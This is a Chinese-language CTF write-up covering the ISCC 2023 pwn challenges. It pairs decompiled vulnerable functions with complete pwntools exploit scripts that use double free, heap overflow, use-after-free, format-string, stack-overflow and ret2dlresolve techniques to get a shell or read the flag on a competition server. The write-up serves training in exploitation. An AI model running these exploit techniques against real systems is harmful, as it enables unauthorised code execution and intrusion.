[ISCC 2023] pwn部分

这个时间太长了,后来出的题不会作,再后来都不想作了.最后差练武题最后一个和擂台最后一个,再后来就没上,不清楚后来还有没有题.

时间比较长有些题都不好找了,找着也忘得差不多了,尽量补齐吧.

Double

从名字看是double free的意思,代码都在一起.free的时候没删指针,只置size=0,而且add,show,edit都进行了size检查,唯独free没有.确实存在double,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[268]; // [rsp+0h] [rbp-130h] BYREF
  int v5; // [rsp+10Ch] [rbp-24h]
  int v6; // [rsp+110h] [rbp-20h]
  int v7; // [rsp+114h] [rbp-1Ch]
  char *v8; // [rsp+118h] [rbp-18h]
  int size; // [rsp+124h] [rbp-Ch]
  int idx; // [rsp+128h] [rbp-8h]
  int v11; // [rsp+12Ch] [rbp-4h]

  init();
  dword_6021E0 = 127;
  while ( 1 )
  {
    v11 = menu();
    if ( v11 == 5 )
      break;
    switch ( v11 )
    {
      case 1:                                   // add
        idx = get_idx();                        // <0xff
        if ( !sizes[idx] )
        {
          size = get_size();
          v8 = (char *)malloc(size);
          if ( !v8 )
            out(byte_400D5C);
          (&ptrs)[idx] = v8;
          sizes[idx] = size;
        }
        break;
      case 2:                                   // free
        v7 = get_idx();
        free((&ptrs)[v7]);
        sizes[v7] = 0;
        break;
      case 3:                                   // show
        v6 = get_idx();
        if ( sizes[v6] )
        {
          if ( v6 > 31 )
            out(byte_400D39);
          puts((&ptrs)[v6]);
        }
        break;
      case 4:
        v5 = get_idx();
        if ( sizes[v5] )
        {
          printf(&byte_400D6C);
          if ( read(0, (&ptrs)[v5], sizes[v5]) < 0 )
            out(byte_400D85);
        }
        break;
      default:
        puts(&byte_400D98);
        break;
    }
  }
  if ( dword_6021E8 == 0x15CC15CC && dword_602228 == 0xCC51CC51 )
  {
    printf("congratulations! Give you a reward: %p\n", buf);
    puts("please input what you want to say:");
    read(0, buf, 0x100uLL);
    end(buf);
  }
  return 0;
}

add会在6024E0 的指针区放指针和 6020E0放size 对于libc-2.23来说fastbin可以进行aba的double但建块时会检查头大小是否相符.

思路:

先在62建个块,size用0x71,然后double free后利用这个头标记将块建到控制区0x6021E8, 0x602228附近,控制这个区域写入指定值得到溢出.写入足够长的payload中转到后门

from pwn import *


#p = process('./double')
p = remote('59.110.164.72',10021)
context(arch='amd64', log_level='debug')

menu = bytes.fromhex('EFBC9A')
def add(idx,size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(menu, str(size).encode())

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(menu, str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(menu, str(idx).encode())
    p.sendafter(menu, msg)

add(0,0x68)
add(1,0x68)
add(62,0x71)
free(0)
free(1)
free(0)
add(0,0x68)
edit(0, p64(0x6021d0))
add(1,0x68)
add(2,0x68)
add(3,0x68)
edit(3, b'/bin/sh\x00' + p64(0x15CC15CC) + b'B'*0x38 + p64(0xCC51CC51))

#gdb.attach(p, 'b*0x400939\nc')

p.sendlineafter(menu, b'5')
p.recvuntil(b'congratulations! Give you a reward: ')
stack = int(p.recvline(), 16)
print(f"{stack = :x}")
pop_rdi = 0x0000000000400cb3 # pop rdi ; ret
bin_sh  = 0x6021e0

p.sendafter(b"please input what you want to say:\n",flat(pop_rdi,bin_sh,0x4008eb,0,stack-8) + p64(pop_rdi+1)*24 + flat(pop_rdi, bin_sh, 0x4008eb))
p.sendline(b'cat flag.txt')
p.interactive()

Chef

第二个堆题,依然是libc-2.23这么古老有docker已经很少见了,这题会不会是5年前出的

第一层菜单为了浪费时间,选4进行第二层,在edit的时候长度可以自己输有溢出

unsigned __int64 change_food()
{
  int v1; // [rsp+4h] [rbp-2Ch]
  int v2; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of food:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *(_QWORD *)&foodlist[4 * v1 + 2] )
    {
      printf("Please enter the price of food :");
      read(0, nptr, 8uLL);
      v2 = atoi(nptr);    //输入长度,溢出
      printf("Please enter the name of food:");
      *(_BYTE *)(*(_QWORD *)&foodlist[4 * v1 + 2] + (int)read(0, *(void **)&foodlist[4 * v1 + 2], v2)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No food in the menu");
  }
  return __readfsqword(0x28u) ^ v5;
}

思路:

先通过溢出修改下一块的size,释放进入unsort再建回来,利用残留的unsort与2块重叠,show得到libc地址,同样方法利用重叠块得到堆地址.并修改指针将one写到管理块的goodbye函数位置,退出时执行.

from pwn import *

#p = process('./chef')
p = remote('59.110.164.72',10031)
context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.23.so')

menu = b':'
def add(size, msg='A'):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, str(size).encode())
    p.sendafter(menu, msg)

def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(menu, str(idx).encode())

def show():
    p.sendlineafter(menu, b'1')

def edit(idx,size,msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(menu, str(size).encode())
    p.sendafter(menu, msg)

p.sendlineafter(menu, b'4')

one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

add(0x18)
add(0x48)
add(0x48)
add(0x18) #3

edit(0, 0x20, p64(0)*3 + p64(0xa1)[:-1])
free(1)
add(0x48) #1

show()
p.recvuntil(b'2 : ')
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

add(0x48) #4
free(1)
free(4)

show()
p.recvuntil(b'2 : ')
heap = u64(p.recvuntil(b'3 : ', drop=True).ljust(8,b'\x00')) - 0x40
print(f"{heap = :x}")

free(3)
edit(2, 0x58, b'\x00'*0x48 + p64(0x21) + p64(heap))

add(0x18) #3
add(0x18, p64(0)+ p64(libc.address + one[0]))

p.sendlineafter(menu, b'5')
p.sendlineafter(menu, b'5')

p.sendline('cat flag*')
p.interactive()

Riddler

32位的程序更古老,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1h] [ebp-119h] BYREF
  int i; // [esp+2h] [ebp-118h]
  _DWORD *v6; // [esp+6h] [ebp-114h]
  int v7; // [esp+Ah] [ebp-110h]
  int v8; // [esp+Eh] [ebp-10Ch]
  int (**v9)(void); // [esp+12h] [ebp-108h]
  _DWORD *v10; // [esp+16h] [ebp-104h]
  _DWORD *v11; // [esp+1Ah] [ebp-100h]
  void *ptr; // [esp+1Eh] [ebp-FCh]
  _DWORD *v13; // [esp+22h] [ebp-F8h]
  _DWORD *v14; // [esp+26h] [ebp-F4h]
  char nptr[200]; // [esp+46h] [ebp-D4h] BYREF
  unsigned int v16; // [esp+10Eh] [ebp-Ch]
  int *p_argc; // [esp+112h] [ebp-8h]

  p_argc = &argc;
  v16 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("Welcome to ISCC!");
  puts("How do you learn pwn?(bush");
  for ( i = 0; i <= 9; ++i )
    *(&ptr + i) = 0;
  ptr = fun_malloc20();
  v13 = fun_malloc20();
  v14 = fun_malloc20();
  *(_DWORD *)ptr = fun_malloc20;
  *v13 = fun2_puts_s;
  v6 = v14;
  *v14 = greeting;
  while ( 1 )
  {
    while ( 1 )                                 // 1,free
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            v7 = 3;
            puts("Then?");
            fgets(&s, 13, stdin);               // s,i,v6,v7
            puts("emmm?!");
            fgets(nptr, 3, stdin);
            nptr[1] = 0;
            v8 = atoi(nptr);
            if ( v8 >= v7 )
              break;
            v11 = v14;
            ((void (__cdecl *)(_DWORD))*v14)(*(&ptr + v8));
          }
          if ( s != '0' )
            break;
          if ( !*(&ptr + v8) )
            goto LABEL_16;
          v10 = v13;
          ((void (__cdecl *)(_DWORD))*v13)(*(&ptr + v8));// 0 show
        }
        if ( s != '1' )
          break;                                // 1,free
        if ( !*(&ptr + v8) )
          goto LABEL_16;
        free(*(&ptr + v8));
        puts("!!!");
      }
      if ( s != '2' )
        break;                                  // 2 add
      if ( *(&ptr + v8) )
        goto LABEL_16;
      v9 = (int (**)(void))ptr;
      puts("!!!");
      *(&ptr + v8) = (void *)(*v9)();
    }
    if ( s != '3' )                             // edit
      break;
    if ( v8 > 2 && *(&ptr + v8) )               // >2
    {
      fgets((char *)*(&ptr + v8), 32, stdin);
      puts("!!!");
    }
    else
    {
LABEL_16:
      puts("???");
    }
  }
  puts("It looks that you knew little about me.");
  puts("What's more will you leave for me?");
  fgets(nptr, 100, stdin);
  return 0;
}

管理块的ID跟用户块在一起,直接show得到程序加载地址,同时free也不清指针可以show和edit

利用fastbin指针得到堆地址,然后在前边的输入缓冲区找个位置(不能在开始,开始输入时会用)free得到unsort得到libc地址

将管理块释放,重建写入system,再执行.

每次正常单前要覆盖v7才能正常执行功能.

from pwn import *


#p = process('./Riddler')
p = remote('59.110.164.72',10028)
context(arch='i386')

elf = ELF('./Riddler')
libc = ELF('./libc.so')

def show(off):
    p.sendafter(b"Then?\n", b"0"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())

def free(off):
    p.sendafter(b"Then?\n", b"1"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())

def add(off):
    p.sendafter(b"Then?\n", b"2"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())

def edit(off, msg):
    p.sendafter(b"Then?\n", b"3"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())
    p.sendline(msg)

'''
0xffffcf40│+0x0000: 0x00000000   ← $esp
0xffffcf44│+0x0004: 0x00000000
0xffffcf48│+0x0008: 0xf7fdf449  →   add ebx, 0x1dbb7
0xffffcf4c│+0x000c: 0x3043a318
0xffffcf50│+0x0010: 0x00000000
0xffffcf54│+0x0014: 0x00000000
0xffffcf58│+0x0018: 0x00000000
0xffffcf5c│+0x001c: 0x00000000
0xffffcf60│+0x0020: 0xffffd02c  →  0xf7fcd808  →  0x00000000
0xffffcf64│+0x0024: 0x5655b190  →  0x565557d5  →   push ebp
0xffffcf68│+0x0028: 0xf7ffdd8c  →  0xf7ffdc44  →  0xf7ffdc30  →  0xf7fd4000  →  0x464c457f
0xffffcf6c│+0x002c: 0x5655b160  →  0x565557aa  →   push ebp
0xffffcf70│+0x0030: 0x5655b190  →  0x565557d5  →   push ebp
0xffffcf74│+0x0034: 0x5655b1c0  →  0x565557fc  →   push ebp
'''

show(0)
elf.address = u32(p.recv(4)) - elf.sym['fun']
print(f"{elf.address = :x}")

add(3)
add(4)

free(4)
free(3)

show(3)
heap = u32(p.recv(4)) - 0x1230
print(f"{heap = :x}")

edit(3, p32(heap + 0x1b0))
add(5)
add(6) 

edit(6, flat(0,0,0,0x1011+0x30))
free(2)
show(2)
libc.address = u32(p.recv(4)) - 0x50 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

add(7)
edit(7, flat(libc.sym['system'], 0))

free(4)
free(3)
edit(3, p32(heap + 0x190))
add(8)
add(9)
edit(9, b'/bin/sh\x00')

p.sendlineafter(b"Then?\n", b"0")
p.sendlineafter(b"emmm?!\n", b'1')

context.log_level='debug'
p.sendline(b'cat /flag*')
p.interactive()

困局

main会调用两次func_key,func_key里有格式化字符串漏洞, func_1有一个足够长的溢出.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int i; // [rsp+Ch] [rbp-4h]

  in_it(argc, argv, envp);
  result = puts("You can't escape. Stay in the eternal box");
  for ( i = 0; i <= 1; ++i )
    result = func_key();
  return result;
}

__int64 func_key()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("This is a larger box");
  read(0, buf, 0x10uLL);
  if ( buf[1] == '9' )
    func_1();
  printf(buf);                                  // 格式化字符串漏洞
  return 0LL;
}

unsigned __int64 func_1()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("We have a lot to talk about");
  read(0, buf, 0x100uLL);
  return __readfsqword(0x28u) ^ v2;
}

先作第一次格式化字符串得到 canary,stack,libc然后写ORW

from pwn import *


p = remote('59.110.164.72',10066)
#p = process('./Trapped')

context(arch='amd64', log_level = 'debug')

libc = ELF('./libc.so.6')

p.sendafter(b"This is a larger box\n", b'%9$p,%15$p,%10$p')
p.sendafter(b"We have a lot to talk about", b'AAA')

canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - libc.sym['__libc_start_main'] - 240
stack = int(p.recv(14),16) -0x80

pop_rdi = 0x0000000000400a23 # pop rdi ; ret
pop_rsi = next(libc.search(asm('pop rsi; ret')))
pop_rdx = next(libc.search(asm('pop rdx; ret')))

p.sendafter(b"This is a larger box\n", b'%9$p,%15$p')
p.sendlineafter(b"We have a lot to talk about", b'/flag'.ljust(40, b'\x00') + flat(canary, 0, pop_rdi, stack,pop_rsi,0,libc.sym['open'],pop_rdi,3,pop_rsi, stack-0x50,libc.sym['read'],pop_rdx,0x50, pop_rdi,1,pop_rsi, stack-0x50, pop_rdx,0x50, libc.sym['write']))

p.interactive()

eat_num

32位PIE未开,有溢出,感觉怎么也应该放到第1个,不过只有read没有输出,只能用一次过的ROP

int __cdecl main(int argc, const char **argv, const char **envp)
{
  eat();
  return 0;
}
ssize_t eat()
{
  char buf[72]; // [esp+0h] [ebp-48h] BYREF

  return read(0, buf, 0x100u);
}

板子

from pwn import *

#p = process(binary)
p = remote('59.110.164.72', 10067)

binary = 'p8'
elf = ELF(binary)
context(arch='i386', log_level='debug')

rop = ROP(binary)
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dl.data_addr)
rop.ret2dlresolve(dl)
rop_content = rop.chain()
payload = b'E'*0x48 + p32(0) + rop_content
payload = payload.ljust(0x100, b'\x00') + dl.payload
p.send(payload)

p.interactive()

SIMS

有UAF的堆题过于简单

void __cdecl dele()
{
  unsigned int idx; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Index:");
  read(0, buf, 4uLL);
  idx = atoi(buf);
  if ( idx >= 0x10 )
  {
    puts("nonono!");
    _exit(0);
  }
  if ( heaparray[idx] )
  {
    free(heaparray[idx]);
    realsize[idx] = 0LL;
    puts("Done !");
    --num;
  }
  else
  {
    puts("No such Stu !");
  }
}

小板子

from pwn import *

#p = process('SIMS')
p = remote('59.110.164.72', 10085)
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./SIMS')

p.sendlineafter(b"welcome~ please input the password:\n" ,str(0x6b8b4567^0x15CC15CC).encode())

menu = b"please choose one!\n"
def add(size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Age of Stu:\n", str(size).encode())

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index:", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index:", str(idx).encode())
    p.sendafter(b"Content of Stu:\n", msg)

def show(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Index:", str(idx).encode())

add(0x430)
add(0x18)
add(0x18)
add(0x18)
add(0x18)
free(0)
show(0)

p.recvuntil(b"Content : ")
libc.address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

free(3)
edit(3, p64(libc.sym['__free_hook']))

add(0x18)
add(0x18) #4

edit(3, b'/bin/sh\x00')
edit(4, p64(libc.sym['system']))
free(3)

p.interactive()

三个愿望

read读入16字节,可以覆盖到v2,v3,c4,seed

__int64 begingame()
{
  char s[2]; // [rsp+Ah] [rbp-16h] BYREF
  int v2; // [rsp+Ch] [rbp-14h] BYREF
  int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]
  unsigned int seed; // [rsp+18h] [rbp-8h]
  unsigned int v6; // [rsp+1Ch] [rbp-4h]

  puts("Welcome to my world");
  puts("Maybe you can make three wishes");
  puts("In exchange, you have to guess what I think");
  puts("Now you can make your first wish");
  fflush(stdout);
  memset(s, 0, sizeof(s));
  read(0, s, 0x16uLL);                          // 覆盖所有
  srand(seed);
  v3 = 0;
  while ( 1 )
  {
    v4 = rand() % 9 + 1;
    puts("Please give me a number!");
    fflush(stdout);
    __isoc99_scanf("%d", &v2);
    if ( v4 != v2 )
      break;
    if ( v3 )
      thirdwish();
    srand(v6);
    v3 = 1;
    secondwish();
  }
  return 0LL;
}

 第一次行泄露canary然后就可以溢出到后门

from pwn import *
from ctypes import *

#p =process('makewishes')
p = remote('59.110.164.72', 10001)

context.log_level = 'debug'
libc = cdll.LoadLibrary("./libc.so.6")

#gdb.attach(p, 'b*0x4012eb')

#s:2 v2:4,  v3,v4,seed,v6
pay = b'AA'+p32(0)*5
p.sendafter(b"Now you can make your first wish\n", pay)

libc.srand(0)
v4 = libc.rand()%9 + 1
print(v4)
p.sendlineafter(b"Please give me a number!\n", str(v4).encode())

p.sendafter(b"Now you can make your second wish!\n", b'%11$p,')
canary = int(p.recvuntil(b',' ,drop=True),16)

libc.srand(0)
v4 = libc.rand()%9 + 1
p.sendlineafter(b"Please give me a number!\n", str(v4).encode())

p.sendafter(b"Now you can make your final wish!\n", p64(0)*5+p64(canary) + p64(0x404800) + p64(0x4011d6))

p.interactive()

login

第1次读buf时覆盖到v6进入后读入v4,由于print_name里有溢出,直接溢出到one

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[256]; // [rsp+10h] [rbp-120h] BYREF
  char buf[28]; // [rsp+110h] [rbp-20h] BYREF
  int v6; // [rsp+12Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("welcome to UserLoginSystem!");
  printf("Here is a tip: %p\n", stdin);
  v6 = 0;
  puts("input the username:");
  read(0, buf, 0x20uLL);
  if ( v6 == 365696460 )
  {
    printf("correct username!");
    puts("input the password:");
    read(0, v4, 0x100uLL);
    print_name(v4);
  }
  return 0;
}

int __fastcall print_name(const void *a1)
{
  char dest[32]; // [rsp+10h] [rbp-20h] BYREF

  memcpy(dest, a1, 0x100uLL);
  return printf("Hello %s\n", dest);
}
from pwn import *

#p =process('Login')
p = remote('59.110.164.72', 10000)

context(arch='amd64', log_level = 'debug')

libc = ELF('./libc-2.23.so')

p.recvuntil("Here is a tip: ")
libc.address = int(p.recvline().strip(), 16) - libc.sym['_IO_2_1_stdin_']
print(f"{libc.address = :x}")

p.sendafter(b"input the username:\n", b'A'*28 + p32(365696460))
p.sendafter(b"input the password:\n", b'A'*0x28 + p64(libc.address + 0xf03a4))

p.interactive()

Your_charactor

两层菜单题,有用的在第2层。

unsigned __int64 design_character_skill()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  while ( 1 )
  {
    puts("please design skills");
    puts("--------------------------------");
    puts(" 1. Create a skill              ");
    puts(" 2. Edit skill damage           ");
    puts(" 3. Edit skill introduction     ");
    puts(" 4. Show skill                  ");
    puts(" 5. Delete a skill              ");
    puts(" 6. back                        ");
    puts("--------------------------------");
    printf("Your choice :");
    read(0, buf, 4uLL);
    v1 = atoi(buf);
    if ( v1 == 6 )
      break;
    switch ( v1 )
    {
      case 1:
        m11add();
        break;
      case 2:
        edit_damage();                          // realoc
        break;
      case 3:
        edit_introduction();                    // edit
        break;
      case 4:
        show_skill();
        break;
      case 5:
        delete_skill();
        break;
      default:
        puts("invaild choice!!!");
        break;
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

edit有写溢出,通过溢出造重叠块,控制管理块。再通过unsort得到libc,最后通过向管理块的指针写one_gadget得到shell

from pwn import *
from itertools import *

#p =process('./your_character')
p = remote('59.110.164.72', 10003)
context(arch='amd64',log_level = 'debug')

libc = ELF('./libc.so.6')
elf = ELF('./your_character')

menu = b"Your choice :"
def add(size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Damage of skill : ", str(size).encode())
    p.sendafter(b"introduction of skill:", b'A')

def edit_size(idx, size):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index :", str(idx).encode())
    p.sendlineafter(b"Damage of skill : ", str(size).encode())

def edit(idx,msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index :", str(idx).encode())
    p.sendafter(b"introduction of skill : ", msg)

def show(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Index :", str(idx).encode())

def free(idx):
    p.sendlineafter(menu, b'5')
    p.sendlineafter(b"Index :", str(idx).encode())

p.sendlineafter(b"Your choice :", b'2')
p.sendlineafter(b"Please enter the background story of your character: \n", b'A')

p.sendlineafter(b"Your choice :", b'1') #in

for i in [0x80,0x18,0x18,0x18]:
    add(i)

edit(1, b'A'*0x18+ p8(0x61))
free(2)

add(0x58)
edit(2, b'A'*0x8)
show(2)
p.recvuntil(b'A'*0x8)
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x370
print(f"{heap_addr = :x}")

free(0)
edit(2, flat(0,0,0,0x21,0x800,heap_addr+ 0x280)) #2 ptr-> unsort

show(2)
p.recvuntil(b"Introduction : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00'))  - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

edit(2, b'A'*0xf0 + flat(0x800, heap_addr+0x10) )
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
edit(2, p64(libc.address + one[0])*2)

p.sendlineafter(menu, b'6')
p.sendlineafter(menu, b'4')

p.sendline(b'cat /flag*')

p.interactive()

 

谜语人

有管理块,就一般是攻击这个指针。有UAF。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1h] [ebp-119h] BYREF
  int i; // [esp+2h] [ebp-118h]
  _DWORD *v6; // [esp+6h] [ebp-114h]
  int v7; // [esp+Ah] [ebp-110h]
  int v8; // [esp+Eh] [ebp-10Ch]
  int (**v9)(void); // [esp+12h] [ebp-108h]
  _DWORD *v10; // [esp+16h] [ebp-104h]
  _DWORD *v11; // [esp+1Ah] [ebp-100h]
  void *ptr; // [esp+1Eh] [ebp-FCh]
  _DWORD *ptr1; // [esp+22h] [ebp-F8h]
  _DWORD *ptr2; // [esp+26h] [ebp-F4h]
  char nptr[200]; // [esp+46h] [ebp-D4h] BYREF
  unsigned int v16; // [esp+10Eh] [ebp-Ch]
  int *p_argc; // [esp+112h] [ebp-8h]

  p_argc = &argc;
  v16 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("Welcome to ISCC!");
  puts("How do you learn pwn?(bush");
  for ( i = 0; i <= 9; ++i )
    *(&ptr + i) = 0;
  ptr = (void *)malloc20();
  ptr1 = (_DWORD *)malloc20();
  ptr2 = (_DWORD *)malloc20();
  *(_DWORD *)ptr = malloc20;
  *ptr1 = puts_s;
  v6 = ptr2;
  *ptr2 = func_null;
  while ( 1 )                                   // add_20
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            v7 = 3;
            puts("Then?");
            fgets(&s, 13, stdin);               // s,i,v6,v7
            puts("emmm?!");
            fgets(nptr, 3, stdin);
            nptr[1] = 0;
            v8 = atoi(nptr);
            if ( v8 >= v7 )
              break;
            v11 = ptr2;                         // greeting
            ((void (__cdecl *)(_DWORD))*ptr2)(*(&ptr + v8));
          }
          if ( s != '0' )
            break;                              // show
          if ( !*(&ptr + v8) )
            goto LABEL_16;
          v10 = ptr1;
          ((void (__cdecl *)(_DWORD))*ptr1)(*(&ptr + v8));
        }
        if ( s != '1' )
          break;                                // free
        if ( !*(&ptr + v8) )
          goto LABEL_16;
        free(*(&ptr + v8));
        puts("!!!");
      }
      if ( s != '2' )
        break;                                  // add_20
      if ( *(&ptr + v8) )
        goto LABEL_16;
      v9 = (int (**)(void))ptr;
      puts("!!!");
      *(&ptr + v8) = (void *)(*v9)();
    }
    if ( s != '3' )
      break;
    if ( v8 > 2 && *(&ptr + v8) )               // edit
    {
      fgets((char *)*(&ptr + v8), 32, stdin);
      puts("!!!");
    }
    else
    {
LABEL_16:
      puts("???");
    }
  }
  puts("It looks that you knew little about me.");
  puts("What's more will you leave for me?");
  fgets(nptr, 100, stdin);
  return 0;
}

把指针改为system

from pwn import *


#p = process('./Riddler')
p = remote('59.110.164.72',10028)
context(arch='i386')

elf = ELF('./Riddler')
libc = ELF('./libc.so')

def show(off):
    p.sendafter(b"Then?\n", b"0"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())

def free(off):
    p.sendafter(b"Then?\n", b"1"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())

def add(off):
    p.sendafter(b"Then?\n", b"2"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())

def edit(off, msg):
    p.sendafter(b"Then?\n", b"3"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())
    p.sendline(msg)

'''
0xffffcf40│+0x0000: 0x00000000   ← $esp
0xffffcf44│+0x0004: 0x00000000
0xffffcf48│+0x0008: 0xf7fdf449  →   add ebx, 0x1dbb7
0xffffcf4c│+0x000c: 0x3043a318
0xffffcf50│+0x0010: 0x00000000
0xffffcf54│+0x0014: 0x00000000
0xffffcf58│+0x0018: 0x00000000
0xffffcf5c│+0x001c: 0x00000000
0xffffcf60│+0x0020: 0xffffd02c  →  0xf7fcd808  →  0x00000000
0xffffcf64│+0x0024: 0x5655b190  →  0x565557d5  →   push ebp
0xffffcf68│+0x0028: 0xf7ffdd8c  →  0xf7ffdc44  →  0xf7ffdc30  →  0xf7fd4000  →  0x464c457f
0xffffcf6c│+0x002c: 0x5655b160  →  0x565557aa  →   push ebp
0xffffcf70│+0x0030: 0x5655b190  →  0x565557d5  →   push ebp
0xffffcf74│+0x0034: 0x5655b1c0  →  0x565557fc  →   push ebp
'''

show(0)
elf.address = u32(p.recv(4)) - elf.sym['fun']
print(f"{elf.address = :x}")

add(3)
add(4)

free(4)
free(3)

show(3)
heap = u32(p.recv(4)) - 0x1230
print(f"{heap = :x}")

edit(3, p32(heap + 0x1b0))
add(5)
add(6) 

edit(6, flat(0,0,0,0x1011+0x30))
free(2)
show(2)
libc.address = u32(p.recv(4)) - 0x50 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

add(7)
edit(7, flat(libc.sym['system'], 0))

free(4)
free(3)
edit(3, p32(heap + 0x190))
add(8)
add(9)
edit(9, b'/bin/sh\x00')

p.sendlineafter(b"Then?\n", b"0")
p.sendlineafter(b"emmm?!\n", b'1')

context.log_level='debug'
p.sendline(b'cat /flag*')
p.interactive()

 

第一用笔

这是个猜迷,从网上搜到提示然后拼成拼音。然后在func_2溢出到后门,后门有3个,两个假的。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  func_1(argc, argv, envp);
  func_2046();
  write(1, "Let me test your learning achievements\n", 0x27uLL);
  func_2();
  puts("Is there anything hidden");
  return 0;
}

ssize_t func_2046()
{
  ssize_t result; // rax
  char v1[80]; // [rsp+0h] [rbp-B0h] BYREF
  char buf[80]; // [rsp+50h] [rbp-60h] BYREF
  FILE *stream; // [rsp+A0h] [rbp-10h]
  int j; // [rsp+A8h] [rbp-8h]
  int i; // [rsp+ACh] [rbp-4h]

  puts("Have you understood the nine stroke?");
  puts("from 0 to 7 is 'dunbi000'");
  puts("and 40 to 47 is 'nvfeng00'!");
  stream = fopen("code.txt", "r");
  if ( !stream )
  {
    puts("It may be in some trouble");
    exit(0);
  }
  for ( i = 0; i <= 71; ++i )
    __isoc99_fscanf(stream, "%c", &v1[i]);
  fclose(stream);
  result = read(0, buf, 0x49uLL);
  for ( j = 0; j <= 71; ++j )
  {
    result = (unsigned __int8)buf[j];
    if ( v1[j] != (_BYTE)result )
    {
      puts("You need to learn more cultural knowledge");
      exit(0);
    }
  }
  return result;
}

ssize_t func_2()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Knowledge needs to be learned bit by bit");
  puts("And you may need to review again and again");
  puts("or you can look for other space");
  return read(0, buf, 0x30uLL);
}
from pwn import *
from itertools import *

#p =process('usage_of_pen')
context.log_level = 'error'

libc = ELF('./libc.so.6')
elf = ELF('./usage_of_pen')
pop_rdi = 0x0000000000400c53 # pop rdi ; ret

ss = 'dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000'
p = remote('59.110.164.72', 10002)

p.sendafter(b"and 40 to 47 is 'nvfeng00'!\n", ss.encode())
msg = p.recvline()

context(arch='amd64', log_level = 'debug')
p.sendafter(b"or you can look for other space\n" , b'\x00'*0x28 + p64(0x400b0f))

p.send(b'\x00'*0x28 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400b0f))
